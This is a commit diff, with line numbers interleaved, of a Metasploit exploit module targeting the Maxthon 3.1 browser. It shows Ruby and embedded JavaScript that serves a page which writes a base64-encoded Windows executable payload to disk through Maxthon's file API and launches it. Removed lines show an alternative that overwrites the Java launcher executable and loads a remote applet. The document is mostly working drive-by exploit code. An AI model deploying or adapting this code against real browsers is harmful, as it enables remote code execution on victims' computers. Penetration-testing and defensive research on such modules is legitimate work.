@@ -12,6 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
12
12
Rank = ExcellentRanking
13
13
14
14
include Msf ::Exploit ::Remote ::HttpServer ::HTML
15
+ include Msf ::Exploit ::EXE
15
16
16
17
def initialize ( info = { } )
17
18
super ( update_info ( info ,
@@ -42,22 +43,10 @@ def initialize(info = {})
42
43
'DisclosureDate' => 'Nov 26 2012' ,
43
44
'DefaultTarget' => 0
44
45
) )
45
-
46
- register_options (
47
- [
48
- OptString . new ( 'JPATH' , [ true , "Java executable path to overwrite" , 'C:\\\\Program\\ Files\\\\Java\\\\jre7\\\\bin\\\\jp2launcher.exe' ] ) ,
49
- OptString . new ( 'JAVAURL' , [ true , "Java Applet URL" , 'http://profs.etsmtl.ca/mmcguffin/learn/java/01-drawingLines/' ] ) ,
50
- ] , self . class
51
-
52
- )
53
46
end
54
47
55
48
def on_request_uri ( cli , request )
56
49
57
- jpath = datastore [ 'JPATH' ]
58
- javaurl = datastore [ 'JAVAURL' ]
59
-
60
- headers = { }
61
50
html_hdr = %Q^
62
51
<html>
63
52
<head>
@@ -79,43 +68,27 @@ def on_request_uri(cli, request)
79
68
end
80
69
# We're going to run this through unescape(), so make sure
81
70
# everything is encoded
82
- penc = Msf :: Util :: EXE . to_win32pe ( framework , p . encoded )
71
+ penc = generate_payload_exe
83
72
penc2 = Rex ::Text . encode_base64 ( penc )
84
73
85
- # now this is base64 encoded payload which needs to be passed to the file write api in maxthon
86
- # depending on maxthon version, then file can be launched via Program DOM API
87
- # or replacing Java program
88
- # here we need to take a dirty approach, we need to overwrite an existing exe and then invoke it
89
- # this is because the maxthon.program object has been silently removed in latest Maxthon versions...
90
- # in WindowsXP, any exe can be overwritten, then a simple call to a uri scheme can invoke the exe
91
- # e.g. wab.exe invoked via mailto://
92
- # however, in win7, a prompt will be displayed if browser executes a mail client or an external program
93
- # so a common way to exploit would be to overwrite the j2plauncher.exe, which calls java.exe when applet is found
94
- # once that is done, then we can point to a page where a java applet exists which will invoke java.exe,
95
- # unless previously loaded by the user
74
+ # now this is base64 encoded payload which needs to be passed to the file write api in maxthon.
75
+ # Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted.
76
+ # The Program DOM API isn't available on Maxthon 3.2 and upper versions.
96
77
content =
97
78
%Q{
79
+ if(maxthon.program)
80
+ {
81
+ alert(1);
98
82
var fileTemp = new maxthon.io.File.createTempFile("test","exe");
99
83
var fileObj = maxthon.io.File(fileTemp);
100
84
maxthon.io.FileWriter(fileTemp);
101
-
102
- if(maxthon.program)
103
- {
104
85
maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{ penc2 } ");
105
86
maxthon.program.Program.launch(fileTemp.name_,"C:");
106
87
}
107
-
108
88
else
109
89
{
110
- fileTemp.name_ = "#{ jpath } ";
111
- maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{ penc2 } ");
112
-
113
- a=document.createElement("iframe");
114
- a.setAttribute("src","#{ javaurl } ");
115
- document.body.appendChild(a)
116
-
90
+ alert(2);
117
91
}
118
-
119
92
}
120
93
121
94
when /\? history/
@@ -124,7 +97,6 @@ def on_request_uri(cli, request)
124
97
location.href = "about:history";
125
98
}
126
99
|
127
-
128
100
content = %Q|
129
101
#{ html_hdr }
130
102
<script>
@@ -157,8 +129,7 @@ def on_request_uri(cli, request)
157
129
return
158
130
end
159
131
160
- send_response_html ( cli , content , headers )
161
- handler ( cli )
132
+ send_response_html ( cli , content )
162
133
end
163
134
164
135
end
0 commit comments